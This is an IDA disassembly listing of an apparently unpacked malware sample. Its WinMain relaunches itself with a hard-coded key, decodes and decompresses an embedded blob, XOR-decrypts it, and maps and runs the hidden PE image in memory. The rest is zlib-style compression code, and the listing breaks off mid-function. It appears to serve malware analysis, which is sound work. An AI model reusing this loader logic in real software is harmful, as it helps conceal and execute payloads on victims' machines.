;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	F653A380DD679D64056E5C449CD4A21C

; File Name   :	u:\work\f653a380dd679d64056e5c449cd4a21c_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	600000
; Section 1. (virtual address 00001000)
; Virtual size			: 00007DA4 (  32164.)
; Section size in file		: 00007DA4 (  32164.)
; Offset to raw	data for section: 00001000
; Flags	60000020: Text Executable Readable
; Alignment	: default
; OS type	  :  MS	Windows
; Application type:  Executable	32bit


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 601000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================



sub_601000	proc near		; CODE XREF: WinMain(x,x,x,x)+FEp
					; WinMain(x,x,x,x)+10Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		test	esi, esi
		jbe	short loc_60101C
		mov	ecx, [esp+4+arg_0]
		mov	eax, [esp+4+arg_4]
		sub	eax, ecx


loc_601013:				; CODE XREF: sub_601000+1Aj
		mov	dl, [eax+ecx]
		mov	[ecx], dl
		inc	ecx
		dec	esi
		jnz	short loc_601013


loc_60101C:				; CODE XREF: sub_601000+7j
		xor	eax, eax
		pop	esi
		retn
sub_601000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int	nShowCmd)

_WinMain@16	proc near		; CODE XREF: start+186p

var_120		= byte ptr -120h
var_58		= byte ptr -58h
Dst		= dword	ptr -48h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_4		= dword	ptr -4
hInstance	= dword	ptr  8
hPrevInstance	= dword	ptr  0Ch
Str		= dword	ptr  10h
nShowCmd	= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	esi
		mov	esi, dword_612830
		push	edi
		push	[ebp+Str]	; Str
		lea	eax, [esi+esi*4]
		shl	eax, 1
		mov	[ebp+var_4], eax
		call	_strlen
		cmp	eax, 2
		pop	ecx
		jnb	short loc_6010A5
		push	44h
		pop	edi
		push	edi		; Size
		xor	esi, esi
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		push	0C8h
		lea	eax, [ebp+var_120]
		push	eax
		push	esi
		mov	[ebp+Dst], edi
		mov	[ebp+var_1C], 1
		mov	[ebp+var_18], 5
		call	ds:dword_609014	; GetModuleFileNameA
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		push	offset a29516	; " 29516"
		lea	eax, [ebp+var_120]
		push	eax
		call	ds:dword_609010	; CreateProcessA
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	10h
; ---------------------------------------------------------------------------


loc_6010A5:				; CODE XREF: WinMain(x,x,x,x)+25j
		push	[ebp+var_4]
		push	8
		call	ds:dword_60900C	; GetProcessHeap
		push	eax
		call	ds:dword_609008	; RtlAllocateHeap
		mov	edi, eax
		xor	eax, eax
		test	esi, esi
		jbe	short loc_6010CA


loc_6010BF:				; CODE XREF: WinMain(x,x,x,x)+A8j
		not	byte_60E030[eax]
		inc	eax
		cmp	eax, esi
		jb	short loc_6010BF


loc_6010CA:				; CODE XREF: WinMain(x,x,x,x)+9Dj
		push	esi
		push	offset byte_60E030
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		call	sub_60510C
		push	[ebp+Str]	; Str
		call	_atol
		add	esp, 14h
		xor	ecx, ecx
		test	[ebp+var_4], 0FFFFFFFEh
		jbe	short loc_6010FE


loc_6010F0:				; CODE XREF: WinMain(x,x,x,x)+DCj
		xor	[edi+ecx*2], ax
		mov	edx, [ebp+var_4]
		inc	ecx
		shr	edx, 1
		cmp	ecx, edx
		jb	short loc_6010F0


loc_6010FE:				; CODE XREF: WinMain(x,x,x,x)+CEj
		mov	esi, [edi+3Ch]
		push	ebx
		push	40h
		push	3000h
		add	esi, edi
		push	dword ptr [esi+50h]
		mov	eax, [esi+34h]
		push	eax
		call	ds:dword_609004	; VirtualAlloc
		push	40h
		mov	ebx, eax
		push	edi
		push	ebx
		call	sub_601000
		mov	eax, [edi+3Ch]
		push	0F8h
		add	eax, ebx
		push	esi
		push	eax
		call	sub_601000
		movzx	eax, word ptr [esi+14h]
		and	[ebp+Str], 0
		add	esp, 18h
		cmp	word ptr [esi+6], 0
		lea	eax, [eax+esi+18h]
		jbe	short loc_601174
		lea	ebx, [eax+14h]


loc_60114D:				; CODE XREF: WinMain(x,x,x,x)+151j
		push	dword ptr [ebx-4]
		mov	eax, [ebx]
		add	eax, edi
		push	eax
		mov	eax, [ebx-8]
		add	eax, [esi+34h]
		push	eax
		call	sub_601000
		movzx	eax, word ptr [esi+6]
		add	esp, 0Ch
		inc	[ebp+Str]
		add	ebx, 28h
		cmp	[ebp+Str], eax
		jl	short loc_60114D
		pop	ebx


loc_601174:				; CODE XREF: WinMain(x,x,x,x)+128j
		mov	eax, [esi+28h]
		add	eax, [esi+34h]
		call	eax
		push	0
		call	ds:dword_609000	; ExitProcess
		int	3		; Trap to Debugger


loc_601185:				; CODE XREF: sub_60182C+D6p
					; sub_6026FA+168p ...
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+Str]
		push	esi
		mov	esi, [ebp+hInstance]
		push	edi
		xor	eax, eax
		mov	edi, esi
		inc	eax
		shr	edi, 10h
		and	esi, 0FFFFh
		cmp	ebx, eax
		jnz	short loc_6011C7
		mov	eax, [ebp+hPrevInstance]
		movzx	eax, byte ptr [eax]
		add	esi, eax
		mov	eax, 0FFF1h
		cmp	esi, eax
		jb	short loc_6011B6
		sub	esi, eax


loc_6011B6:				; CODE XREF: WinMain(x,x,x,x)+192j
		add	edi, esi
		cmp	edi, eax
		jb	loc_60139A
		sub	edi, eax
		jmp	loc_60139A
; ---------------------------------------------------------------------------


loc_6011C7:				; CODE XREF: WinMain(x,x,x,x)+181j
		mov	ecx, [ebp+hPrevInstance]
		test	ecx, ecx
		jz	loc_6013A1
		cmp	ebx, 10h
		jnb	short loc_6011FE
		test	ebx, ebx
		jz	short loc_6011E6


loc_6011DB:				; CODE XREF: WinMain(x,x,x,x)+1C4j
		movzx	eax, byte ptr [ecx]
		add	esi, eax
		inc	ecx
		add	edi, esi
		dec	ebx
		jnz	short loc_6011DB


loc_6011E6:				; CODE XREF: WinMain(x,x,x,x)+1B9j
		mov	ecx, 0FFF1h
		cmp	esi, ecx
		jb	short loc_6011F1
		sub	esi, ecx


loc_6011F1:				; CODE XREF: WinMain(x,x,x,x)+1CDj
		mov	eax, edi
		xor	edx, edx
		div	ecx
		mov	eax, edx
		jmp	loc_60139C
; ---------------------------------------------------------------------------


loc_6011FE:				; CODE XREF: WinMain(x,x,x,x)+1B5j
		cmp	ebx, 15B0h
		jb	loc_6012D2
		mov	eax, ebx
		mov	ebx, 15B0h
		xor	edx, edx
		div	ebx
		mov	ebx, [ebp+Str]
		mov	[ebp+hInstance], eax


loc_60121B:				; CODE XREF: WinMain(x,x,x,x)+2ACj
		sub	ebx, 15B0h
		mov	eax, 15Bh


loc_601226:				; CODE XREF: WinMain(x,x,x,x)+289j
		movzx	edx, byte ptr [ecx]
		add	esi, edx
		movzx	edx, byte ptr [ecx+1]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+2]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+3]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+4]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+5]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+6]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+7]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+8]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+9]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+0Ah]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+0Bh]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+0Ch]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+0Dh]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+0Eh]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+0Fh]
		add	edi, esi
		add	esi, edx
		add	edi, esi
		add	ecx, 10h
		dec	eax
		jnz	loc_601226
		mov	eax, esi
		xor	edx, edx
		mov	esi, 0FFF1h
		div	esi
		mov	eax, edi
		mov	edi, 0FFF1h
		mov	esi, edx
		xor	edx, edx
		div	edi
		dec	[ebp+hInstance]
		mov	edi, edx
		jnz	loc_60121B


loc_6012D2:				; CODE XREF: WinMain(x,x,x,x)+1E4j
		test	ebx, ebx
		jz	loc_60139A
		cmp	ebx, 10h
		jb	loc_601374
		mov	eax, ebx
		shr	eax, 4


loc_6012E8:				; CODE XREF: WinMain(x,x,x,x)+34Ej
		movzx	edx, byte ptr [ecx]
		add	esi, edx
		movzx	edx, byte ptr [ecx+1]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+2]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+3]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+4]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+5]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+6]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+7]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+8]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+9]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+0Ah]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+0Bh]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+0Ch]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+0Dh]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+0Eh]
		add	edi, esi
		add	esi, edx
		movzx	edx, byte ptr [ecx+0Fh]
		add	edi, esi
		add	esi, edx
		sub	ebx, 10h
		add	edi, esi
		add	ecx, 10h
		dec	eax
		jnz	loc_6012E8


loc_601374:				; CODE XREF: WinMain(x,x,x,x)+2BDj
		test	ebx, ebx
		jz	short loc_601383


loc_601378:				; CODE XREF: WinMain(x,x,x,x)+361j
		movzx	eax, byte ptr [ecx]
		add	esi, eax
		inc	ecx
		add	edi, esi
		dec	ebx
		jnz	short loc_601378


loc_601383:				; CODE XREF: WinMain(x,x,x,x)+356j
		mov	eax, esi
		mov	ecx, 0FFF1h
		xor	edx, edx
		mov	esi, ecx
		div	esi
		mov	eax, edi
		mov	esi, edx
		xor	edx, edx
		div	ecx
		mov	edi, edx


loc_60139A:				; CODE XREF: WinMain(x,x,x,x)+19Aj
					; WinMain(x,x,x,x)+1A2j ...
		mov	eax, edi


loc_60139C:				; CODE XREF: WinMain(x,x,x,x)+1D9j
		shl	eax, 10h
		or	eax, esi


loc_6013A1:				; CODE XREF: WinMain(x,x,x,x)+1ACj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
_WinMain@16	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_6013A6	proc near		; CODE XREF: sub_6015F3+13p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		not	eax
		mov	edx, 0FFh
		jz	short loc_6013D8


loc_6013BB:				; CODE XREF: sub_6013A6+30j
		test	cl, 3
		jz	short loc_6013D8
		xor	ebx, ebx
		mov	bl, [ecx]
		xor	ebx, eax
		and	ebx, edx
		shr	eax, 8
		xor	eax, ds:dword_6090D8[ebx*4]
		inc	ecx
		dec	[ebp+arg_0]
		jnz	short loc_6013BB


loc_6013D8:				; CODE XREF: sub_6013A6+13j
					; sub_6013A6+18j
		cmp	[ebp+arg_0], 20h
		push	4
		mov	esi, ecx
		pop	edi
		jb	loc_601585
		mov	ecx, [ebp+arg_0]
		shr	ecx, 5
		mov	[ebp+var_8], ecx


loc_6013F0:				; CODE XREF: sub_6013A6+1D9j
		xor	eax, [esi]
		add	esi, edi
		mov	[ebp+var_4], eax
		movzx	ecx, byte ptr [ebp+var_4+2]
		mov	ecx, ds:dword_6094D8[ecx*4]
		movzx	ebx, ah
		xor	ecx, ds:dword_6098D8[ebx*4]
		mov	ebx, eax
		shr	ebx, 18h
		xor	ecx, ds:dword_6090D8[ebx*4]
		and	eax, edx
		xor	ecx, ds:dword_609CD8[eax*4]
		xor	ecx, [esi]
		add	esi, edi
		mov	[ebp+var_4], ecx
		movzx	eax, byte ptr [ebp+var_4+2]
		mov	eax, ds:dword_6094D8[eax*4]
		movzx	ebx, ch
		xor	eax, ds:dword_6098D8[ebx*4]
		mov	ebx, ecx
		shr	ebx, 18h
		xor	eax, ds:dword_6090D8[ebx*4]
		and	ecx, edx
		xor	eax, ds:dword_609CD8[ecx*4]
		xor	eax, [esi]
		add	esi, edi
		mov	[ebp+var_4], eax
		movzx	ecx, byte ptr [ebp+var_4+2]
		mov	ecx, ds:dword_6094D8[ecx*4]
		movzx	ebx, ah
		xor	ecx, ds:dword_6098D8[ebx*4]
		mov	ebx, eax
		shr	ebx, 18h
		xor	ecx, ds:dword_6090D8[ebx*4]
		and	eax, edx
		xor	ecx, ds:dword_609CD8[eax*4]
		xor	ecx, [esi]
		add	esi, edi
		mov	[ebp+var_4], ecx
		movzx	eax, byte ptr [ebp+var_4+2]
		mov	eax, ds:dword_6094D8[eax*4]
		movzx	ebx, ch
		xor	eax, ds:dword_6098D8[ebx*4]
		mov	ebx, ecx
		shr	ebx, 18h
		xor	eax, ds:dword_6090D8[ebx*4]
		and	ecx, edx
		xor	eax, ds:dword_609CD8[ecx*4]
		xor	eax, [esi]
		add	esi, edi
		mov	[ebp+var_4], eax
		movzx	ecx, byte ptr [ebp+var_4+2]
		mov	ecx, ds:dword_6094D8[ecx*4]
		movzx	ebx, ah
		xor	ecx, ds:dword_6098D8[ebx*4]
		mov	ebx, eax
		shr	ebx, 18h
		xor	ecx, ds:dword_6090D8[ebx*4]
		and	eax, edx
		xor	ecx, ds:dword_609CD8[eax*4]
		xor	ecx, [esi]
		add	esi, edi
		mov	[ebp+var_4], ecx
		movzx	eax, byte ptr [ebp+var_4+2]
		mov	eax, ds:dword_6094D8[eax*4]
		movzx	ebx, ch
		xor	eax, ds:dword_6098D8[ebx*4]
		mov	ebx, ecx
		shr	ebx, 18h
		xor	eax, ds:dword_6090D8[ebx*4]
		and	ecx, edx
		xor	eax, ds:dword_609CD8[ecx*4]
		xor	eax, [esi]
		add	esi, edi
		mov	[ebp+var_4], eax
		movzx	ecx, byte ptr [ebp+var_4+2]
		mov	ecx, ds:dword_6094D8[ecx*4]
		movzx	ebx, ah
		xor	ecx, ds:dword_6098D8[ebx*4]
		mov	ebx, eax
		shr	ebx, 18h
		xor	ecx, ds:dword_6090D8[ebx*4]
		sub	[ebp+arg_0], 20h
		and	eax, edx
		xor	ecx, ds:dword_609CD8[eax*4]
		xor	ecx, [esi]
		add	esi, edi
		mov	[ebp+var_4], ecx
		movzx	eax, byte ptr [ebp+var_4+2]
		mov	eax, ds:dword_6094D8[eax*4]
		movzx	ebx, ch
		xor	eax, ds:dword_6098D8[ebx*4]
		mov	ebx, ecx
		shr	ebx, 18h
		xor	eax, ds:dword_6090D8[ebx*4]
		and	ecx, edx
		xor	eax, ds:dword_609CD8[ecx*4]
		dec	[ebp+var_8]
		jnz	loc_6013F0


loc_601585:				; CODE XREF: sub_6013A6+3Bj
		cmp	[ebp+arg_0], edi
		jb	short loc_6015CE
		mov	ecx, [ebp+arg_0]
		shr	ecx, 2
		mov	[ebp+var_8], ecx


loc_601593:				; CODE XREF: sub_6013A6+226j
		xor	eax, [esi]
		sub	[ebp+arg_0], edi
		mov	[ebp+var_4], eax
		movzx	ecx, byte ptr [ebp+var_4+2]
		mov	ecx, ds:dword_6094D8[ecx*4]
		movzx	ebx, ah
		xor	ecx, ds:dword_6098D8[ebx*4]
		mov	ebx, eax
		shr	ebx, 18h
		xor	ecx, ds:dword_6090D8[ebx*4]
		and	eax, edx
		xor	ecx, ds:dword_609CD8[eax*4]
		add	esi, edi
		dec	[ebp+var_8]
		mov	eax, ecx
		jnz	short loc_601593


loc_6015CE:				; CODE XREF: sub_6013A6+1E2j
		cmp	[ebp+arg_0], 0
		jz	short loc_6015EC


loc_6015D4:				; CODE XREF: sub_6013A6+244j
		xor	ecx, ecx
		mov	cl, [esi]
		xor	ecx, eax
		and	ecx, edx
		shr	eax, 8
		xor	eax, ds:dword_6090D8[ecx*4]
		inc	esi
		dec	[ebp+arg_0]
		jnz	short loc_6015D4


loc_6015EC:				; CODE XREF: sub_6013A6+22Cj
		pop	edi
		pop	esi
		not	eax
		pop	ebx
		leave
		retn
sub_6013A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_6015F3	proc near		; CODE XREF: sub_60182C+E8p
					; sub_6026FA+C1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_4]
		test	ecx, ecx
		jnz	short loc_6015FE
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_6015FE:				; CODE XREF: sub_6015F3+6j
		push	[esp+arg_8]
		mov	eax, [esp+4+arg_0]
		call	sub_6013A6
		pop	ecx
		retn
sub_6015F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_60160D	proc near		; CODE XREF: sub_60197B+74p
					; sub_60197B+B5p ...
		push	esi
		mov	esi, eax
		mov	eax, [esi+1Ch]
		mov	ecx, [esi+10h]
		push	edi
		mov	edi, [eax+14h]
		cmp	edi, ecx
		jbe	short loc_601620
		mov	edi, ecx


loc_601620:				; CODE XREF: sub_60160D+Fj
		test	edi, edi
		jz	short loc_601657
		push	edi		; Size
		push	dword ptr [eax+10h] ; Src
		push	dword ptr [esi+0Ch] ; Dst
		call	_memcpy
		mov	eax, [esi+1Ch]
		add	[esi+0Ch], edi
		add	[eax+10h], edi
		add	[esi+14h], edi
		sub	[esi+10h], edi
		mov	eax, [esi+1Ch]
		sub	[eax+14h], edi
		mov	esi, [esi+1Ch]
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 0
		jnz	short loc_601657
		mov	eax, [esi+8]
		mov	[esi+10h], eax


loc_601657:				; CODE XREF: sub_60160D+15j
					; sub_60160D+42j
		pop	edi
		pop	esi
		retn
sub_60160D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_60165A	proc near		; CODE XREF: .text:00601B4Cp
					; .text:00601E5Bp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ecx+7Ch]
		mov	edx, [ecx+38h]
		mov	[ebp+var_8], eax
		mov	eax, [ecx+90h]
		push	ebx
		push	esi
		mov	esi, [ecx+6Ch]
		mov	[ebp+var_C], eax
		mov	eax, [ecx+2Ch]
		lea	ebx, [eax-106h]
		add	edx, esi
		cmp	esi, ebx
		push	edi
		mov	edi, [ecx+78h]
		jbe	short loc_601697
		sub	esi, eax
		add	esi, 106h
		mov	[ebp+var_10], esi
		jmp	short loc_60169B
; ---------------------------------------------------------------------------


loc_601697:				; CODE XREF: sub_60165A+2Ej
		and	[ebp+var_10], 0


loc_60169B:				; CODE XREF: sub_60165A+3Bj
		cmp	edi, [ecx+8Ch]
		lea	eax, [edx+102h]
		mov	[ebp+var_14], eax
		mov	al, [edi+edx-1]
		mov	[ebp+var_1], al
		mov	al, [edi+edx]
		mov	[ebp+var_2], al
		jb	short loc_6016BD
		shr	[ebp+var_8], 2


loc_6016BD:				; CODE XREF: sub_60165A+5Dj
		mov	eax, [ecx+74h]
		cmp	[ebp+var_C], eax
		mov	[ebp+var_18], eax
		jbe	short loc_6016CB
		mov	[ebp+var_C], eax


loc_6016CB:				; CODE XREF: sub_60165A+6Cj
		mov	eax, [ebp+arg_0]


loc_6016CE:				; CODE XREF: sub_60165A+134j
		mov	esi, [ecx+38h]
		add	esi, eax
		mov	al, [ebp+var_2]
		cmp	[esi+edi], al
		jnz	loc_601776
		mov	al, [ebp+var_1]
		cmp	[esi+edi-1], al
		jnz	loc_601776
		mov	al, [esi]
		cmp	al, [edx]
		jnz	loc_601776
		inc	esi
		mov	al, [esi]
		cmp	al, [edx+1]
		jnz	short loc_601776
		mov	ebx, [ebp+var_14]
		inc	edx
		inc	edx
		inc	esi


loc_601704:				; CODE XREF: sub_60165A+ECj
		inc	edx
		mov	al, [edx]
		inc	esi
		cmp	al, [esi]
		jnz	short loc_601748
		inc	edx
		mov	al, [edx]
		inc	esi
		cmp	al, [esi]
		jnz	short loc_601748
		inc	edx
		mov	al, [edx]
		inc	esi
		cmp	al, [esi]
		jnz	short loc_601748
		inc	edx
		mov	al, [edx]
		inc	esi
		cmp	al, [esi]
		jnz	short loc_601748
		inc	edx
		mov	al, [edx]
		inc	esi
		cmp	al, [esi]
		jnz	short loc_601748
		inc	edx
		mov	al, [edx]
		inc	esi
		cmp	al, [esi]
		jnz	short loc_601748
		inc	edx
		mov	al, [edx]
		inc	esi
		cmp	al, [esi]
		jnz	short loc_601748
		inc	edx
		mov	al, [edx]
		inc	esi
		cmp	al, [esi]
		jnz	short loc_601748
		cmp	edx, ebx
		jb	short loc_601704


loc_601748:				; CODE XREF: sub_60165A+B0j
					; sub_60165A+B8j ...
		mov	eax, edx
		sub	eax, ebx
		add	eax, 102h
		cmp	eax, edi
		lea	edx, [ebx-102h]
		jle	short loc_601776
		cmp	eax, [ebp+var_C]
		mov	esi, [ebp+arg_0]
		mov	[ecx+70h], esi
		mov	edi, eax
		jge	short loc_601794
		lea	esi, [eax+edx]
		mov	al, [esi-1]
		mov	[ebp+var_1], al
		mov	al, [esi]
		mov	[ebp+var_2], al


loc_601776:				; CODE XREF: sub_60165A+7Fj
					; sub_60165A+8Cj ...
		mov	esi, [ecx+34h]
		and	esi, [ebp+arg_0]
		mov	eax, [ecx+40h]
		movzx	eax, word ptr [eax+esi*2]
		cmp	eax, [ebp+var_10]
		mov	[ebp+arg_0], eax
		jbe	short loc_601794
		dec	[ebp+var_8]
		jnz	loc_6016CE


loc_601794:				; CODE XREF: sub_60165A+10Cj
					; sub_60165A+12Fj
		mov	eax, [ebp+var_18]
		cmp	edi, eax
		ja	short loc_60179D
		mov	eax, edi


loc_60179D:				; CODE XREF: sub_60165A+13Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_60165A	endp


; =============== S U B	R O U T	I N E =======================================



sub_6017A2	proc near		; CODE XREF: .text:00601B61p
					; .text:00601E73p
		push	ebx
		push	esi
		mov	esi, eax
		mov	ecx, [esi+38h]
		mov	eax, [esi+6Ch]
		add	eax, ecx
		add	ecx, edi
		mov	bl, [ecx]
		cmp	bl, [eax]
		lea	edx, [eax+102h]
		jnz	short loc_601826
		mov	bl, [ecx+1]
		cmp	bl, [eax+1]
		jnz	short loc_601826
		inc	eax
		inc	eax
		inc	ecx
		inc	ecx


loc_6017C8:				; CODE XREF: sub_6017A2+68j
		inc	eax
		mov	bl, [eax]
		inc	ecx
		cmp	bl, [ecx]
		jnz	short loc_60180C
		inc	eax
		mov	bl, [eax]
		inc	ecx
		cmp	bl, [ecx]
		jnz	short loc_60180C
		inc	eax
		mov	bl, [eax]
		inc	ecx
		cmp	bl, [ecx]
		jnz	short loc_60180C
		inc	eax
		mov	bl, [eax]
		inc	ecx
		cmp	bl, [ecx]
		jnz	short loc_60180C
		inc	eax
		mov	bl, [eax]
		inc	ecx
		cmp	bl, [ecx]
		jnz	short loc_60180C
		inc	eax
		mov	bl, [eax]
		inc	ecx
		cmp	bl, [ecx]
		jnz	short loc_60180C
		inc	eax
		mov	bl, [eax]
		inc	ecx
		cmp	bl, [ecx]
		jnz	short loc_60180C
		inc	eax
		mov	bl, [eax]
		inc	ecx
		cmp	bl, [ecx]
		jnz	short loc_60180C
		cmp	eax, edx
		jb	short loc_6017C8


loc_60180C:				; CODE XREF: sub_6017A2+2Cj
					; sub_6017A2+34j ...
		sub	eax, edx
		add	eax, 102h
		cmp	eax, 3
		jl	short loc_601826
		mov	[esi+70h], edi
		mov	esi, [esi+74h]
		cmp	eax, esi
		jbe	short loc_601829
		mov	eax, esi
		jmp	short loc_601829
; ---------------------------------------------------------------------------


loc_601826:				; CODE XREF: sub_6017A2+18j
					; sub_6017A2+20j ...
		push	2
		pop	eax


loc_601829:				; CODE XREF: sub_6017A2+7Ej
					; sub_6017A2+82j
		pop	esi
		pop	ebx
		retn
sub_6017A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_60182C	proc near		; CODE XREF: sub_60197B+24p
					; .text:00601AB9p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
Size		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, [esi+2Ch]
		push	edi


loc_601837:				; CODE XREF: sub_60182C+145j
		mov	edi, [esi+3Ch]
		sub	edi, [esi+74h]
		mov	eax, [esi+6Ch]
		mov	ecx, [esi+2Ch]
		sub	edi, eax
		lea	ecx, [ebx+ecx-106h]
		cmp	eax, ecx
		mov	[ebp+var_8], edi
		jb	short loc_6018B9
		mov	eax, [esi+38h]
		push	ebx		; Size
		lea	ecx, [eax+ebx]
		push	ecx		; Src
		push	eax		; Dst
		call	_memcpy
		mov	eax, [esi+4Ch]
		mov	ecx, [esi+44h]
		sub	[esi+70h], ebx
		sub	[esi+6Ch], ebx
		add	esp, 0Ch
		sub	[esi+5Ch], ebx
		mov	[ebp+Size], eax
		lea	eax, [ecx+eax*2]


loc_601879:				; CODE XREF: sub_60182C+64j
		dec	eax
		dec	eax
		movzx	ecx, word ptr [eax]
		mov	edx, ecx
		sub	edx, ebx
		cmp	ecx, ebx
		sbb	ecx, ecx
		not	ecx
		and	ecx, edx
		dec	[ebp+Size]
		mov	[eax], cx
		jnz	short loc_601879
		mov	eax, [esi+40h]
		mov	[ebp+Size], ebx
		lea	eax, [eax+ebx*2]


loc_60189B:				; CODE XREF: sub_60182C+86j
		dec	eax
		dec	eax
		movzx	ecx, word ptr [eax]
		mov	edx, ecx
		sub	edx, ebx
		cmp	ecx, ebx
		sbb	ecx, ecx
		not	ecx
		and	ecx, edx
		dec	[ebp+Size]
		mov	[eax], cx
		jnz	short loc_60189B
		add	edi, ebx
		mov	[ebp+var_8], edi


loc_6018B9:				; CODE XREF: sub_60182C+25j
		mov	edi, [esi]
		cmp	dword ptr [edi+4], 0
		jz	loc_601977
		mov	eax, [esi+74h]
		add	eax, [esi+6Ch]
		mov	ecx, [edi+4]
		add	eax, [esi+38h]
		mov	edx, [ebp+var_8]
		cmp	ecx, edx
		mov	[ebp+var_C], eax
		mov	[ebp+Size], ecx
		jbe	short loc_6018E1
		mov	[ebp+Size], edx


loc_6018E1:				; CODE XREF: sub_60182C+B0j
		mov	edx, [ebp+Size]
		test	edx, edx
		jnz	short loc_6018EC
		xor	eax, eax
		jmp	short loc_601938
; ---------------------------------------------------------------------------


loc_6018EC:				; CODE XREF: sub_60182C+BAj
		sub	ecx, edx
		mov	[edi+4], ecx
		mov	ecx, [edi+1Ch]
		mov	ecx, [ecx+18h]
		cmp	ecx, 1
		jnz	short loc_601909
		push	edx
		push	dword ptr [edi]
		push	dword ptr [edi+30h]
		call	loc_601185
		jmp	short loc_601919
; ---------------------------------------------------------------------------


loc_601909:				; CODE XREF: sub_60182C+CEj
		cmp	ecx, 2
		jnz	short loc_601922
		push	edx
		push	dword ptr [edi]
		push	dword ptr [edi+30h]
		call	sub_6015F3


loc_601919:				; CODE XREF: sub_60182C+DBj
		mov	[edi+30h], eax
		mov	eax, [ebp+var_C]
		add	esp, 0Ch


loc_601922:				; CODE XREF: sub_60182C+E0j
		push	[ebp+Size]	; Size
		push	dword ptr [edi]	; Src
		push	eax		; Dst
		call	_memcpy
		mov	eax, [ebp+Size]
		add	[edi], eax
		add	esp, 0Ch
		add	[edi+8], eax


loc_601938:				; CODE XREF: sub_60182C+BEj
		add	[esi+74h], eax
		mov	edi, [esi+74h]
		cmp	edi, 3
